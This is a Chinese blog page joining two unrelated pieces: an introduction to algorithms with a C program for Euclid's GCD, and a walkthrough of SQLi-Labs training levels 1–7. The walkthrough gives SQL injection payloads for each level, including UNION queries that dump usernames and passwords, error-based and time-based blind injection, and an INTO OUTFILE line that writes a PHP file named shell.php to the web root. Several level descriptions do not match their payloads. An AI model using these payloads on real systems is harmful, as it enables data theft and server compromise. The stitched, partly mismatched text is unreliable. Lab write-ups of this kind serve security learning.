一、算法设计与分析

算法是指解决问题的一种方法或一个过程,算法是若干指令的有穷序列,满足性质:

(1)输入:由外部提供的量作为算法的输入

(2)输出:算法产生至少一个量作为输出

(3)确定性:组成算法的每条指令是清晰、无歧义的

(4)有限性:算法中每条指令的执行次数是有限的,执行每条指令的时间也是有限的

算法是问题的程序化解决方案,一个问题可以设计不同的算法来求解,同一个算法可以采用不同的形式来描述:

*描述算法可以有多种方式,如自然语言方式、流程图方式、伪代码方式、计算机语言表示方式与表格方式等。

*当一个算法使用计算机程序语言描述时,就是程序。

算法描述举例:

求两个整数a,b(a>b)的最大公约数的欧几里得算法

(1)a除以b得余数r,若r=0,则b为所求的最大公约数

(2)若r不为0,以b为a,r为b,继续(1)

注意:任意两整数之间总存在最大公约数,上述辗转相除过程中余数逐步变小,相除过程总会结束。

#include<stdio.h>
void main()
{ long a,b,c,r;
  printf("请输入整数a,b: ");
  scanf("%ld,%ld",&a,&b);      /*  输入整数a,b */
  printf("(%ld,%ld)",a,b);
  if(a<b)
     {c=a;a=b;b=c;}       /*  交换a,b ,确保a>b*/
  r=a%b;
  while(r!=0)
     {a=b;b=r;            /*  实施"辗转相除" */
      r=a%b;
     }
  printf("=%ld\n",b);    /*  输出求解结果 */
}

程序是算法用某种程序设计语言的具体实现,程序可以不满足算法的性质

例如操作系统,是一个在无限循环中执行的程序,因而不是一个算法


### SQLi-Labs 1-7 关卡解题思路 #### Less-1: 基础 GET 请求注入 在这一关中,目标是在 URL 参数 `id` 中注入 SQL 语句来获取数据库中的信息。通过输入 `' OR '1'='1` 可以绕过身份验证并登录成功[^1]。 ```sql ?id=1' or '1'='1 ``` #### Less-2: 使用 UNION SELECT 注入 此关涉及使用 `UNION SELECT` 来联合查询其他表的内容。为了找到合适的列数,可以逐个增加返回的结果集数量直到页面不再报错为止。一旦确定了正确的列数,则可以通过这些列读取任意表格的信息[^3]。 ```sql ?id=-1 UNION ALL SELECT NULL,NULL FROM information_schema.tables WHERE table_schema=database()# ``` #### Less-3: 报错注入 利用 MySQL 的内置函数如 `extractvalue()` 或者 `updatexml()` 实现基于错误回显的 SQL 注入攻击。这允许直接从服务器响应中提取敏感数据而无需额外请求。 ```sql ?uname=1' AND extractvalue(1,concat(0x7e,(SELECT database())))--+&passwd=1&submit=Submit ``` #### Less-4: 时间盲注 当无法看到具体的错误消息时,可采用时间延迟技术来进行推测性的注入测试。例如,如果存在漏洞则会使查询等待一段时间再继续执行。 ```sql ?id=1' AND IF(SUBSTRING(@@version,1,1)=5,SLEEP(5),NULL)--+ ``` #### Less-5: 基于布尔条件的时间盲注 进一步扩展上一关的概念,在不知道确切版本号的情况下也可以利用布尔表达式的真假判断配合 SLEEP 函数完成注入操作[^2]。 ```sql ?id=1' AND (IF((ASCII(SUBSTRING(version(),1,1)))>50,BENCHMARK(5000000,SHA1('A')),false))--+ ``` #### Less-6: 多参数注入 本关考察如何处理多个输入字段的同时注入问题。通常情况下只需要在一个地方构造恶意负载即可影响整个查询逻辑[^4]。 ```sql ?id=-1' UNION SELECT 1,GROUP_CONCAT(username,0x7E,password) FROM users # ``` #### Less-7: 文件写入与读取 最后一关涉及到更高级别的功能——将查询结果保存成文件并通过 Web 访问路径下载下来查看具体内容。这一步骤可能需要用到 INTO OUTFILE 子句以及 LOAD_FILE() 函数实现本地文件系统的交互。 ```sql ?id=1' union all select null,'<?php phpinfo(); ?>' into outfile '/var/www/html/shell.php'# ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值